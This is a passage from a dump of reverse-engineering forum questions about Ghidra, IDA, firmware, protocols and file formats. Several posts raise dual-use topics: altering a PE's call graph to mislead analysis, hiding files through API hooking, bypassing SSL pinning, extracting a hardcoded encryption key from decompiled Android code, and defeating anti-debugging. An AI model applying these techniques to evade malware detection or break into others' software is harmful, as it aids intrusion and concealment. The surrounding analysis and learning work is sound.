+ +So Ghidra SRE knows about of these functions are exist and how to correctly name them, but for some reason does not detect and define them properly as imported from MFC90U.DLL. Why? + +I run Ghidra 9.1.2 public release Feb-12-2020 1149 EST and IDA Pro version 7.1.180227. +" +"['debugging', 'arm', 'embedded']"," Title: Reverse engineering MCU with ""poor"" datasheetBody:
+I'm reverse engineering a chinese MCU.
+The datasheet for this chip is pretty poor, they left out important things like memory map, block diagrams ecc... so i got stuck. +This is what i've done:
+I got access to the SWD interface (it's like jtag but arm specific) and i can debug stuff through gdb. +I have begun by taking a look at the main CPU, the datasheet says '128MHz high cpu performance processor', so i can assume it's an ARM Cortex (maybe M3).
In memory i found the vector table (placed at 0) and the reset handler (0x4). By now i can start reading code from the entry point (reset handler). +But the code is big and reading all of that through gdb is annoying, but most important i don't know where things are. +Well, through the vector table i know where the stack and entry point are. I have the locations of some interrupts that are used in the chip but nothing more. +The question is, can i figure out the memory map from this few information ? +How your approach would be with this sort of ""challenge"" ? +Thank you :) +" +"['upx', 'vmprotect']"," Title: problems with figuring out if its vmprotect or upxBody: my name is eleven and I'm new to reverse engineering and I have a question. + +after scanning my program I have wanted to reverse engineer I have walked into a problem. + + + +this is a program I'm trying to figure out if its vmprotect or upx. +after scanning with detect it easy it pops up with vmprotect yet after looking pestudio it came with upx seen in this screenshot. + + + +any help on this? +" +['android']," Title: How do I know which class/file in apk is being used for what purpose?Body: I am new to this sort of stuff. I just found hardcoded public and private keys in an android app. I just can't figure out what it is being used for. Any advice on that? +" +['deobfuscation']," Title: Reverse engineering hidden audio track in this MPEG-1 video file?Body: No matter what video player or video analysis software I throw this video at, neither are able to reproduce or detect the audio track of the video: + +Introduction video of Wipeout XL PC version (OneDrive link), it should be downloaded as the online video player will fail miserably on it. It is playable on any media player that supports MPEG-1 videos such as VLC. + +The file is 10926Kib, according to Windows, it's 1000kbps so, 1000 / 8 * 63 = 7875Kib which leaves us with about 3051Kib of hidden content: + + + +To me, it just seems the audio is indeed here but has been obfuscated somehow for some reason. + +I've also launched Process Monitor to study log of the game when it plays the video, it does access no other files at all in the game directory as well as in the CD-ROM of the game. + +As a reference, introduction video of Wipeout XL PSX version on YouTube, with audio. + +Question: + +Are there any well-known techniques to obfuscate audio in MPEG videos ? +" +"['ida', 'strings']"," Title: In IDA's strings window, how to run MakeStrLit on all the selectionBody: Ida allows to turn bytes into a string using the A shortcut + + + +There is also this window to find strings : + + + +You can press enter to jump to a specific string, but is it possible to run MakeStrLit on all the selected strings ? +" +"['windows', 'debugging']"," Title: How can I debug code execution on a Native->Unity/Mono/C# ApplicationBody: I'm reverse engineering a Windows application which has a main executable that appears to run some boilerplate/stub code before calling UnityMain and also using Mono. This means that if I use an assembly debugger like x64Dbg, I get stuck in the boilerplate and runtime code. But, if I view the assemblies in dnSpy, it paints an incomplete picture and makes it difficult or impossible to debug the program because the assemblies I'm viewing in dnSpy are just ""libraries"" and the execution path is initiated from the native code stub which calls UnityMain. What are some strategies to debug code execution of this type of application? +" +"['firmware', 'ghidra']"," Title: Tons of error bookmark on GhidraBody: I'm new to Ghidra so go easy on me. Running it on Windows. + +After successfully extracting a Bluetooth door lock's firmware from a nRF51, I proceeded to decompile it using Ghidra. My aim is to able to read some of its original source code, even though I understand it won't be as clean as the original. + +But, after analyzing the bin file, I get tons of error. Architecture used/tried to solve this issue was both the ARM Cortex LE 32 bit and the ARM v6 LE 32 bit. Looked for solutions on the internet and I did not find anyone with the same issue. All of the errors are Bad Instruction. + +Here's pictures of two different analyze: + +Without ARM Aggressive Instruction Finder (Prototype) + + +With ARM Aggressive Instruction Finder (Prototype) + + +The reason I posted two pictures of my code browser because those two different analysis gave me different amount of bookmark. I know it's because of the Instruction Finder but who knows this might help you to help me. + +I have also tried adding a line into my ia.sinc file as suggested by a user named nsadeveloper789 on a GitHub issue but it did not solve my issue. I have also tried the No Return method from a PDF lesson (page 11) and no luck as well. + +Did used SVD-Loader as well but still doesn't solve the issue as the SVD-Loader's script itself might have an issue and I've commented on this issue on GitHub (currently no specific solution). You can have a look at this issue here. + +Does anyone knows how to solve this issue? I've been trying for a week or two now and even asked this in the unofficial Ghidra's Discord group but no answer yet. + +Looking forward for your answers. Thanks in advance. + +Here's a link to download the bin file: +https://filebin.net/5abhimciwdfr5gfi +" +"['ida', 'disassembly', 'debugging', 'android', 'patch-reversing']"," Title: Unable to intercept traffic of an android app even after patching ssl pinningBody: Recently, I was trying to test an app developed on Rhomobile, I setup a proxy with burp, and of course I have installed burp certificate on my device hence I can intercept other apps on my device but I am unable to see the traffic of the app in question on burp suite instead the app works fine and connects to the remote server without even appearing an error alert of the burp suite. in reversing the app I concluded that it is using https protocol to connect to the server. even typically apps targeting android api level 24 and above, a network_security_config.xml should be specified and in my reversing I created that file and set it its location on manifest file but nothing avail. then these questions pop into my mind I would be very pleased if you can clear it. + +1. in general, what am I missing? or where else should I look at? + +2. specifically Is an app developed on rhomobile is proxy unaware app? + +3. if the issue is associated with certificate pinning, typically the alert tab of the burp suite would have shown it, why the app is working fine and connecting to the server while other apps leave an error in the alert tab of burp suite? if I conclude that it is a proxy unaware app, how can I finally intercept its traffic? + +any help would be appreciated. + +Thanks, +" +"['windows', 'x86', 'malware', 'pe']"," Title: What is the best way to change the call-graph of a PE file without changing its real behavior and without packing it?Body: What i want to do is take a PE file, extract its call-graph, and then inject a junk function in it, so for example by injecting a junk function inside of it, and changing a call instruction's opcode to point to this junk function, and then returning to the original destination after the junk code is done without changing the behavior of program + +so is there any open source program that does this so i can see how they did it? + +my idea is to create a new section in PE at the end of it, and change section headers by modifying an existing section which is not used or appending a new section header, and then change some call instruction to point to this + +the problem i think i will face is long calls, basically if the offset between junk code and call instruction is too far, then i have to change the call instruction to a far call instruction which makes things really complicated if not impossible + +so any suggestion? do you guys happen to know any open-source program that does this? or maybe i can approach this better? all i want is to change the call-graph of a PE file +" +"['embedded', 'serial-communication']"," Title: Reverse Engineering RS232 protocol misterious last byteBody: I have an old water purifier system that consists of a PDA and a main board (I think the ic is a Renesas) that communicate by RS232, I need to know the protocol they use to communicate in order to reproduce it from another device. I already have it practically done, below I detail the characteristics that I have been able to extract: + +Protocol details + +RS232 + +Endian: LSB + +Baud rate: 9600 + +Data: 8 bits + +Stop bits: 1 + +Parity: Odd + +Packet size: 21 Bytes + +Character start / stop: 90 + +Polarity: Positive + +Time between two bytes: 6.8 mS + +Time between packets: 1.9 s + +second-last (byte 20): checksum (simple sum of all data bytes + 90) + +Message format + +PDA (TX): 90 + (18 * data_byte) + checksum + unknown_byte + +Mainboard (TX): 90 + (18 * data_byte) + checksum + 90 + +I also already have an idea what each byte of data corresponds to, but the last byte (unknown_byte), I don't know what it corresponds to, it varies constantly even though the data is the same. When I turn on the PDA, it continuously sends the same sequence: + +  90 + (18 * zero_byte) + 90 + unknown_byte + +The last byte seems to follow a sequence from the start of the PDA, but it does not get to repeat itself exactly: + +05, EA, EC, F1, E9, EE, F4, EB, F1, E8, EE, F3, EB, F0, E8, ED, F3, EA, F0, F5, ED, F2, E6, EC, F1, E9, EE, F4, EB, F1, E8, EE, F3, EB, F0, f6, E8, ED, F2, EA, F5, EC, F2, E9, EF, F4, E8, EE, F3, EB, F0, F6, ED, F2, EA, EF, F5, E7, EC ... + +Other sequence in DEC: + +5,234,236,241,233,238,244,235,241,232,238,243,235,240,232,237,243,234,240,245,237,242,230,236,241,233,238,244,235,241,232,238,243,235,240,246,237,242,234,239,245,236,242,233,239,244,232,238,243,235,240,232,237,242,234,239,245,236,242,233,239,244,236,241,233,238,244,235,237,243,234,240,245,237,242,234,225,245,236,242,233,239,244,236,241,233,238,244,235,240,229,234,239,245,236,242,233,239,244,236,241,233,238,244,235,240,232,237,243,234,240 + +Does anyone know what this field may correspond to? + +Thanks in advance +" +['ida']," Title: Appcall on function that uses global variablesBody: I'm reversing an executable, there is a function in the executable that uses global variables that are not used in any other function, they are initiated in the target function, My question is will Appcall work on these circumstances? + +Thanks. +" +"['disassembly', 'c#']"," Title: IDA Pro sp-analysis failedBody: I'm trying to reverse engineer a C# file that requires a password to continue running. When I load it in IDA Pro I get nothing in the functions window and a sp-analysis failed + +What I see when loaded +" +"['memory', 'deobfuscation', 'javascript']"," Title: Reverse Engineering Javascript - Out of MemoryBody: I found this javascript file on one of those online movie streaming services and was interested in finding out what it does. However, after trying many deobfuscators I am still stuck. A major problem preventing me from making progress was that when I tried staying on the page too long, Chromium (Firefox had the same problem) would run out of memory and freeze. Running it in node resulted in the same thing (""FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory""). This also prevented me from trying to add console.log statements because it would simply freeze. I am not experienced enough to see what is actually causing these massive allocations to occur. Any advice as to where I should look next? + +Original File URL: https://videospider.in/js/play2.min.js + +Archived: https://pastebin.com/ycw6MSLQ +" +['bluetooth']," Title: BM2 Bluetooth Car Battery Voltage Monitor protocolBody: I am opening this question, because it would be nice to create an open source app for this BLE voltage monitor: + +https://www.aliexpress.com/item/32794632957.html + +http://www.quicklynks.com/pro_show.php?id=159 + +I thought it is easy to understand the protocol, but I can't find any similar patterns in data. I collected BLE data with gatttool: + +
[LE]> connect F8:30:02:2D:4D:9C
+Attempting to connect to F8:30:02:2D:4D:9C
+Connection successful
+Notification handle = 0x002e value: b4 db ec df bc dc 19 b5 d6 0f fa e1 cf 9b 79 44
+Notification handle = 0x002e value: c0 fc fd 6f c3 ad 32 9a 56 43 39 57 91 16 ad 90
+Notification handle = 0x002e value: 09 90 cf 1d 17 59 17 6e 8a 40 ca 8f ea 6b e8 69
+Notification handle = 0x002e value: 8a b3 b1 26 3d 82 8c 56 6e 9e 55 0b fd c7 e4 a2
+Notification handle = 0x002e value: 56 f4 19 a3 d2 ff 96 de a0 93 0b d7 78 d9 8a d8
+Notification handle = 0x002e value: 77 88 82 c5 85 4d 75 0b bb ed 68 22 45 b3 99 3f
+Notification handle = 0x002e value: 9c c9 37 d7 0c f9 34 db ca cd 80 db 23 ed d7 eb
+Notification handle = 0x002e value: 33 22 c8 59 be 5a 2e cb 0f 88 6b 6d d5 09 fe a6
+Notification handle = 0x002e value: 90 8e 97 ce be 46 f0 be 0a 60 d3 44 a6 3a 06 7e
+Notification handle = 0x002e value: d7 6f d8 81 71 a0 2f 1e 86 ad a4 f1 a6 07 57 37
+Notification handle = 0x002e value: b9 61 70 6e 4a a0 c2 ba 56 ad 64 ef e1 8b 32 bc
+Notification handle = 0x002e value: f0 09 9a cd ba 03 98 5c c4 14 bd 60 50 07 67 a2
+Notification handle = 0x002e value: 12 5c a7 99 b9 0d 8d 55 1c a7 42 d6 48 21 92 50
+Notification handle = 0x002e value: 2e 16 c9 b1 60 ca c7 a2 0f 20 b0 85 77 e2 31 b0
+
+ +Voltage set to 18.00V (sometimes it reads 18.01V). 18 in HEX is 12, searching for 12 I found only one occurrence. Maybe the data is encoded? In this case I think it is nearly impossible to decode the protocol. +" +"['disassembly', 'assembly', 'cheat-engine']"," Title: Is it possible to modify a movss or xmm# in Assembly using Cheat Engine?Body: Im using cheat engine as a beginner to getting into Disassembly and Hacking, and I want to know how to modify an address/pointer (not really sure how to term it) thats using a movss [...],xmm#? + +Specifically, Im modifying the Health in Satisfactory. + +Fall damage causes the movss [rbx+00000164],xmm0 to fire, xmm0 represents the amount of health subtracted from the damage of falling. + +Then it sends xmm0 to rbx+000000164. + +That causes the health to go down. I want it to go Up, or not lose/gain any at all. + +I tried seeing if there were any xmm#s in the scanner that lined up with max health (100) to see if I could just send the player's max health every time they took damage (This would solve it easily) + +However, it doesnt have it. +As seen here: + + +I was following a tutorial https://wiki.cheatengine.org/index.php?title=Tutorials:Auto_Assembler:Injection_full, but they made it super simple, mentioning only... + +
+ Now the easiest thing to do here, since the code already adds is to just make the number positive. +
+ +Thats not very informing, they were lucky, their value is just a number that can be set to positive or negative, or just be modified. + +Mine cant. + +So the big question is, is there anything I can do to modify or change it? I need to make this simpler. + +By the way, heres my script that Im using to actually ""hack"" the health. All it does right now is the default xmm0 send, basically it does nothing. + + + +
{ Game   : FactoryGame-Win64-Shipping.exe
+  Version: 
+  Date   : 2020-03-15
+  Author : taylo
+
+  This script does blah blah blah
+}
+
+define(address,""FactoryGame-Win64-Shipping.exe""+90E3AA)
+define(bytes,F3 0F 11 83 64 01 00 00)
+
+[ENABLE]
+//code from here to '[DISABLE]' will be used to enable the cheat
+
+
+
+assert(address,bytes)
+alloc(newmem,$1000,""FactoryGame-Win64-Shipping.exe""+90E3AA)
+
+label(code)
+label(return)
+
+newmem:
+
+code:
+  movss [rbx+00000164],xmm0
+  jmp return
+
+address:
+  jmp newmem
+  nop 3
+return:
+
+[DISABLE]
+//code from here till the end of the code will be used to disable the cheat
+address:
+  db bytes
+  // movss [rbx+00000164],xmm0
+
+dealloc(newmem)
+
+{
+// ORIGINAL CODE - INJECTION POINT: ""FactoryGame-Win64-Shipping.exe""+90E3AA
+
+""FactoryGame-Win64-Shipping.exe""+90E376: 49 89 6B B0              -  mov [r11-50],rbp
+""FactoryGame-Win64-Shipping.exe""+90E37A: 4D 89 73 A8              -  mov [r11-58],r14
+""FactoryGame-Win64-Shipping.exe""+90E37E: E8 BD D5 FB FF           -  call FactoryGame-Win64-Shipping.exe+8CB940
+""FactoryGame-Win64-Shipping.exe""+90E383: 0F 28 C8                 -  movaps xmm1,xmm0
+""FactoryGame-Win64-Shipping.exe""+90E386: 0F 2F 0D 53 B9 64 02     -  comiss xmm1,[FactoryGame-Win64-Shipping.exe+2F59CE0]
+""FactoryGame-Win64-Shipping.exe""+90E38D: 0F 82 B9 00 00 00        -  jb FactoryGame-Win64-Shipping.exe+90E44C
+""FactoryGame-Win64-Shipping.exe""+90E393: F3 0F 10 83 64 01 00 00  -  movss xmm0,[rbx+00000164]
+""FactoryGame-Win64-Shipping.exe""+90E39B: F3 0F 5F CE              -  maxss xmm1,xmm6
+""FactoryGame-Win64-Shipping.exe""+90E39F: 0F B6 83 6C 01 00 00     -  movzx eax,byte ptr [rbx+0000016C]
+""FactoryGame-Win64-Shipping.exe""+90E3A6: F3 0F 5C C1              -  subss xmm0,xmm1
+// ---------- INJECTING HERE ----------
+""FactoryGame-Win64-Shipping.exe""+90E3AA: F3 0F 11 83 64 01 00 00  -  movss [rbx+00000164],xmm0
+// ---------- DONE INJECTING  ----------
+""FactoryGame-Win64-Shipping.exe""+90E3B2: A8 01                    -  test al,01
+""FactoryGame-Win64-Shipping.exe""+90E3B4: 75 4C                    -  jne FactoryGame-Win64-Shipping.exe+90E402
+""FactoryGame-Win64-Shipping.exe""+90E3B6: A8 02                    -  test al,02
+""FactoryGame-Win64-Shipping.exe""+90E3B8: 74 1D                    -  je FactoryGame-Win64-Shipping.exe+90E3D7
+""FactoryGame-Win64-Shipping.exe""+90E3BA: 48 89 6C 24 28           -  mov [rsp+28],rbp
+""FactoryGame-Win64-Shipping.exe""+90E3BF: 4C 8B CF                 -  mov r9,rdi
+""FactoryGame-Win64-Shipping.exe""+90E3C2: 0F 28 D1                 -  movaps xmm2,xmm1
+""FactoryGame-Win64-Shipping.exe""+90E3C5: 4C 89 74 24 20           -  mov [rsp+20],r14
+""FactoryGame-Win64-Shipping.exe""+90E3CA: 48 8B D6                 -  mov rdx,rsi
+""FactoryGame-Win64-Shipping.exe""+90E3CD: 48 8B CB                 -  mov rcx,rbx
+}
+
+" +"['windows', 'patching', 'function-hooking', 'dll-injection', 'hooking']"," Title: Hiding a file in a Windows operating systemBody: I am trying to understand how to hide a file in windows as a way to learn about win api and malware analysis. + +What I am trying to do is to make a file ""disappear"" via some kind of manipulation. But I am not sure how to do it. + +If for instance i wanted to make a cmd or a specific browsing application not show the file, I would've, in my opinion, use hooking/dll injection so that if application equals the name of the app I am trying to hide, it would skip the offset, as if to the next file. However, I can't hook all the processes in the world and was wondering if there's a smarter way to do so. Is there any mechanism in windows, or some winapi that is responsible of keeping a ""record"" of the file system that will always be called when a program/process wants to traverse/find the contents of some directory? + +How would you approach this simple task? I am pretty sure malware authors have done very tricky and sophisticated things and I am trying to learn ways to recognize this behavior so it's easier to be stopped. + +Thank you very much. +" +"['disassembly', 'c++', 'pe', 'functions']"," Title: Understanding obscure function namesBody: I have seen functions like this before in disassembly but don't have a clue what they are. Their names are extremely confusing. Would someone be able to explain what these are? + + +" +"['windows', 'dll', 'x64dbg', 'windows-10']"," Title: Reverse engineer Listen to this device on Windows - Reverse engineer Windows when there's no APIBody: I'm writing an Autohotkey script to toggle Listen to this device for my microphone, without interacting with a GUI. + + + +I thought it would be a simple registry key being modified so I used RegShot to find the key: + +
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MMDevices\Audio\Capture\{My-Microphone's-UUID}\Properties
+
+ +The key is called {24dbb0fc-9311-4b3d-9cf0-18ff155639d4},1 (On all computers). + +And the value when toggling the Listen to this device changes like this: (The 0's change to f's) + +
xxxxxxxxxxxxxxxx0000xxxx
+xxxxxxxxxxxxxxxxffffxxxx
+
+ +But when I check the GUI, I see that the Listen to this device tick-box has been ticked but I can't actually hear anything from my mic, when I un-tick it, click apply, re-tick it and apply again, I hear my mic. So I thought I might need DllCall or PostMessage here, like what message was sent or what dll was called when I click apply but I couldn't find anything on it on the Internet. I don't know how to make Windows understand that this setting has changed. + +Please teach me how to reverse engineer this with x64dbg. +" +['cryptography']," Title: How to reason about this rotating XOR problem?Body: Disclaimer: I'm not asking for the solution to this problem, but for you to point out the particular areas or techniques of reverse engineering that I need to improve at in order to solve this problem myself. + +The code in question comes from the game ""Sourcery,"" it's basically a CTF inside a game. The game doesn't give you the ability to debug or modify the code whatsoever, so the problem to solve here is to find an input that will make verify_code return 1. + +So far I had the idea of trying to brute force the solution, i.e. trying all possible codes until I find one that works. The range of acceptable characters for the code is all printable ascii chars, and we need to figure out 16 chars, which seems like it would take too much time to brute force unless you were able to reduce the character range. + +The thing that is making this hard for me to mentally analyze is that it seems like if you change one character, it can change the effect that successive characters have on the execution path. + +Any ideas how to approach this? + +
; int verify_code(char *code)
+verify_code:
+    push esi
+    push ebp
+    mov ebp, esp
+    sub esp, 8
+
+    push dword [ebp + 12]
+    call strlen
+    cmp eax, 16
+; the code must be 16 characters long.
+    jne .bad
+
+    mov esi, [ebp + 12]
+    mov edx, 0xfa
+
+    mov al, [esi]
+    rol edx, 5
+    xor dl, al
+    add dl, 0xab
+
+    mov al, [esi+1]
+    rol edx, 3
+    xor dl, al
+    add dl, 0x45
+
+    mov al, [esi+2]
+    rol edx, 1
+    xor dl, al
+    add dl, 0x12
+
+    mov al, [esi+3]
+    rol edx, 9
+    xor dl, al
+    add dl, 0xcd
+
+    mov cl, dl
+    and cl, 15
+    add cl, 'a'
+    cmp [esi+4], cl
+    jne .bad
+
+    rol edx, 12
+    xor dl, cl
+    add dl, 0x87
+    mov cl, dl
+    and cl, 15
+    add cl, 'a'
+    cmp [esi+5], cl
+    jne .bad
+
+    rol edx, 3
+    xor dl, cl
+    add dl, 0xef
+    mov cl, dl
+    and cl, 15
+    add cl, 'C'
+    cmp [esi+6], cl
+    jne .bad
+
+    rol edx, 1
+    xor dl, cl
+    add dl, 0x10
+    mov cl, dl
+    and cl, 15
+    add cl, 'f'
+    cmp [esi+7], cl
+    jne .bad
+
+    rol edx, 13
+    xor dl, cl
+    add dl, 0x9a
+    mov cl, dl
+    and cl, 15
+    add cl, 'e'
+    cmp [esi+8], cl
+    jne .bad
+
+    rol edx, 9
+    xor dl, cl
+    add dl, 0xa8
+    mov cl, dl
+    and cl, 15
+    add cl, 'D'
+    cmp [esi+9], cl
+    jne .bad
+
+    rol edx, 7
+    xor dl, cl
+    add dl, 0xca
+    mov cl, dl
+    and cl, 15
+    add cl, 'D'
+    cmp [esi+10], cl
+    jne .bad
+
+    rol edx, 2
+    xor dl, cl
+    add dl, 0x91
+    mov cl, dl
+    and cl, 15
+    add cl, 'c'
+    cmp [esi+11], cl
+    jne .bad
+
+    rol edx, 5
+    xor dl, cl
+    add dl, 0x86
+    mov cl, dl
+    and cl, 15
+    add cl, 'A'
+    cmp [esi+12], cl
+    jne .bad
+
+    rol edx, 6
+    xor dl, cl
+    add dl, 0xf1
+    mov cl, dl
+    and cl, 15
+    add cl, 'e'
+    cmp [esi+13], cl
+    jne .bad
+
+    rol edx, 3
+    xor dl, cl
+    add dl, 0x1f
+    mov cl, dl
+    and cl, 15
+    add cl, 'B'
+    cmp [esi+14], cl
+    jne .bad
+
+    rol edx, 4
+    xor dl, cl
+    add dl, 0x90
+    mov cl, dl
+    and cl, 15
+    add cl, 'f'
+    cmp [esi+15], cl
+    jne .bad
+
+    mov al, 1
+    mov esp, ebp
+    pop ebp
+    pop esi
+    ret 4
+
+.bad:
+    xor al, al
+    mov esp, ebp
+    pop ebp
+    pop esi
+    ret 4
+
+" +"['ida', 'decompilation', 'hexrays', 'dos', 'stack-variables']"," Title: IDA/Hexrays: local variable allocation has failed; how to fix this?Body: I'm reverse engineering an old DOS game that's using the DOS/4GW extender. The game includes some libraries that I already successfully reversed in a different application, so I'm pretty sure that the declaration for the function that is making trouble is correct. Nonetheless, the function in question shows the error message // local variable allocation has failed, the output may be wrong!. +When looking at the assembly, it seems like there's a problem with the stack definition, as can be seen here: + + + +I already tried to edit the function and make some adaptions (unfortunately I'm lacking a little bit of experience there), but to no avail. +Here's a screenshot of the declarations/stack frame and the function's initial options without changes: + + + +What could be the cause for the failed allocation and how can one fix it? +" +['anti-debugging']," Title: Finding call trace of a crashing executable with anti-debugging techniquesBody: The application I target has terribly annoying anti-debugging techniques. With x32dbg and ScyllaHide with the following configuration, the application exits immediately as soon as a breakpoint is hit, whether it is a software or hardware breakpoint. + +The following are my settings: + + + +A VEH debugger (I tried Cheat Engine) catches the exception. However, when it catches the exception, the Cheat Engine debugger shows the call stack as ""empty"" with a single setting showing 0x00000000 as the return address, so it's useless. However the exception code is 0xC0000005 so I know it's access violation. + +What other anti-anti-debugging techniques can I use to get past the mechanism where the application crashes when a breakpoint gets hit? +" +"['file-format', 'binary-format']"," Title: Is there a image format that starts with 0x4E 0x58 0x50 (ASCII 'NXP')?Body: I'm looking at a binary file whose starting bytes are 0x4E 0x58 0x50. Is this an established magic number for a file format? If so, what format is it? My google-fu has proven too weak to find an answer on the intertubes. +" +"['binary-analysis', 'firmware', 'radare2', 'ghidra']"," Title: Way to get basic blocks of a binary using GhidraBody: I am using ghidra to do some reverse engineering of an ARM binary. I am wondering whether there is a way to get the basic blocks related to all the listing. Is there a function through the IDE or a script through the script manager that I could used in order to get basic blocks at least within a function. Though I found scripts to decompile the binary I couldn't find a function that listed the basic blocks. Apart from ghidra is there any other reverse engineering tools that would help me to achieve this job? Thank you! +" +"['android', 'encryption', 'java', 'patch-reversing', 'apk']"," Title: How can I retrieve the encryption key in this code?Body: can anyone explain the following code? is it possible to retrieve the encryption key? +I think the code was heavily obfuscated in addition to obfuscation, I can recognize it is using algorithms like DESEDE with CBC and PKCS5Padding to encrypt http post traffic from the app. my question is does any one know how to retrieve the key here? + +
package c.e.a.a.g;
+
+import a.a;
+import android.util.Base64;
+import java.io.UnsupportedEncodingException;
+import java.security.GeneralSecurityException;
+import java.security.InvalidKeyException;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.Random;
+import java.util.regex.Pattern;
+import javax.crypto.BadPaddingException;
+import javax.crypto.Cipher;
+import javax.crypto.IllegalBlockSizeException;
+import javax.crypto.NoSuchPaddingException;
+import javax.crypto.spec.SecretKeySpec;
+
+public class b {
+
+    /* renamed from: a reason: collision with root package name */
+    private static volatile b f4799a;
+
+    /* renamed from: b reason: collision with root package name */
+    private byte[] f4800b = null;
+
+    /* renamed from: c reason: collision with root package name */
+    private String f4801c;
+
+    private b() {
+        try {
+            this.f4801c = a.a(new byte[]{97, 110, 100, 95, 50, 51, 116, 107, 108, 35, 95, 97, 105, 116, 33}, new byte[]{75, 24, 109, 27, -24, -51, 22, -58, -44, -74, 21, 91, -88, 48, -52, -63, 69, -67, 71, 17, 116, 77, 70, -94, 41, 121, 20, 120, 8, 121, 33, 77});
+        } catch (GeneralSecurityException e2) {
+            e2.printStackTrace();
+        }
+        this.f4800b = e(this.f4801c);
+    }
+
+    public static b a() {
+        if (f4799a == null) {
+            synchronized (b.class) {
+                if (f4799a == null) {
+                    f4799a = new b();
+                }
+            }
+        }
+        return f4799a;
+    }
+
+    private final String c(String str) {
+        try {
+            Cipher instance = Cipher.getInstance(""DESEDE/ECB/PKCS5Padding"");
+            instance.init(2, new SecretKeySpec(this.f4800b, ""DESede""));
+            return a(instance.doFinal(new a().a(str)));
+        } catch (Exception e2) {
+            e2.printStackTrace();
+            return null;
+        }
+    }
+
+    private final String d(String str) {
+        try {
+            Cipher instance = Cipher.getInstance(""DESEDE/ECB/PKCS5Padding"");
+            instance.init(1, new SecretKeySpec(this.f4800b, ""DESede""));
+            try {
+                return Base64.encodeToString(instance.doFinal(str.getBytes()), 0);
+            } catch (IllegalBlockSizeException e2) {
+                e2.printStackTrace();
+                return """";
+            } catch (BadPaddingException e3) {
+                e3.printStackTrace();
+                return """";
+            }
+        } catch (NoSuchAlgorithmException e4) {
+            e4.printStackTrace();
+        } catch (NoSuchPaddingException e5) {
+            e5.printStackTrace();
+        } catch (InvalidKeyException e6) {
+            e6.printStackTrace();
+        }
+    }
+
+    private final byte[] e(String str) {
+        try {
+            return MessageDigest.getInstance(""MD5"").digest(str.getBytes(""UTF-8""));
+        } catch (NoSuchAlgorithmException e2) {
+            e2.printStackTrace();
+            return null;
+        } catch (UnsupportedEncodingException e3) {
+            e3.printStackTrace();
+            return null;
+        }
+    }
+
+    public String b(String str) {
+        StringBuilder sb = new StringBuilder();
+        sb.append(str);
+        sb.append(b());
+        return d(sb.toString());
+    }
+
+    private String b() {
+        int nextInt = new Random().nextInt(999999);
+        StringBuilder sb = new StringBuilder();
+        sb.append(""|"");
+        sb.append(nextInt);
+        return sb.toString();
+    }
+
+    public String a(String str) {
+        return c(str).split(Pattern.quote(""|""))[0];
+    }
+
+    public b(String str) {
+        this.f4800b = e(str);
+    }
+
+    private final String a(byte[] bArr) {
+        StringBuffer stringBuffer = new StringBuffer();
+        for (byte b2 : bArr) {
+            stringBuffer.append((char) b2);
+        }
+        return stringBuffer.toString();
+    }
+}
+
+ +an example of encrypted http post request produced by this code is like following: + +
{""MobileUsersBE"":{""AppVersion"":""vB0gg8dKw8/ssTAXDUHLDw==\n"",""DeviceCode"":""NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFCjEu/IEjcEUYM4V6zswVc\n"",""DeviceType"":""android"",""GCMCellId"":"""",""Password"":""P4fM264BxQXhd3RQu5vk8w==\n"",""UserName"":""i2WZyhFJ9CZTx40Th83siw==\n""},""ServiceUsersBE"":{""AppVersion"":""ZA+PaD1HcAVZ384ENwEWBw==\n"",""DeviceCode"":""NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFOFoCbYVotoPrT8YV4yEHL\n"",""DeviceType"":""android"",""Password"":""t1h6/ATZ26VA8nS+fcnvkv0wtPbV8onO\n"",""TransactionCode"":""vfTVe1PFdoFSMOdyYSxAI33cLtBw3z3uUrzOGlZJafQYzgg+Te+n/sDv/nyll3T2"",""UserName"":""N67a2TEuY68jsRadkP0JGrh64aKxVin1\n""}}
+
+" +"['ida', 'type-reconstruction']"," Title: is there any way to get type information using IDA DemoBody: I am using IDA Demo (evaluation version >7). I have a binary: + +
#include <stdbool.h>
+int do_decode(){}
+int main()
+{
+  bool decode = false;
+  char opt = getopt();
+  switch (opt)
+  {
+    case 'd':
+      decode =true;
+      break;
+    default:
+      break;
+  }
+  if (decode) do_decode();
+}
+
+ +Is there any way to get variable information using IDA? + +
    +
  1. if debug information is available
  2. +
  3. stripped and optimized
  4. +
+ +I couldn't get variable type information in either case. For e.g. what I get from radare2: + +
[0x004004b9]> afv
+var int64_t var_2h @ rbp-0x2
+var uint32_t var_1h @ rbp-0x1
+
+ +This is far from perfect, but at least something. + +Here is my IDA textview: + +
; =============== S U B R O U T I N E =======================================
+.text:00000000004004B9
+.text:00000000004004B9 ; Attributes: bp-based frame
+.text:00000000004004B9
+.text:00000000004004B9 ; int __fastcall main(int, char **, char **)
+.text:00000000004004B9 main            proc near               ; DATA XREF: start+1D↑o
+.text:00000000004004B9
+.text:00000000004004B9 var_2           = byte ptr -2
+.text:00000000004004B9 var_1           = byte ptr -1
+.text:00000000004004B9
+.text:00000000004004B9                 push    rbp
+.text:00000000004004BA                 mov     rbp, rsp
+.text:00000000004004BD                 sub     rsp, 10h
+.text:00000000004004C1                 mov     [rbp+var_1], 0
+.text:00000000004004C5                 mov     eax, 0
+.text:00000000004004CA                 call    _getopt
+.text:00000000004004CF                 mov     [rbp+var_2], al
+.text:00000000004004D2                 movsx   eax, [rbp+var_2]
+.text:00000000004004D6                 cmp     eax, 64h ; 'd'
+.text:00000000004004D9                 jnz     short loc_4004E1
+.text:00000000004004DB                 mov     [rbp+var_1], 1
+.text:00000000004004DF                 jmp     short loc_4004E2
+
+" +"['windows', 'c++', 'x64dbg', 'exception', 'seh']"," Title: I can't set a hardware breakpoint on RIP + N-byte after calling NtContinue()Body: + +
#include <Windows.h>
+
+int handle_exception (EXCEPTION_POINTERS *exception_pointers) {
+    exception_pointers->ContextRecord->Rip += 4;
+    return EXCEPTION_CONTINUE_EXECUTION;
+}
+
+int main () {
+    __try {
+        int number = 0;
+
+        number = 1 / number; // generate EXCEPTION_INT_DIVIDE_BY_ZERO
+    }
+    __except (handle_exception(GetExceptionInformation())) { }
+    return 0;
+}
+
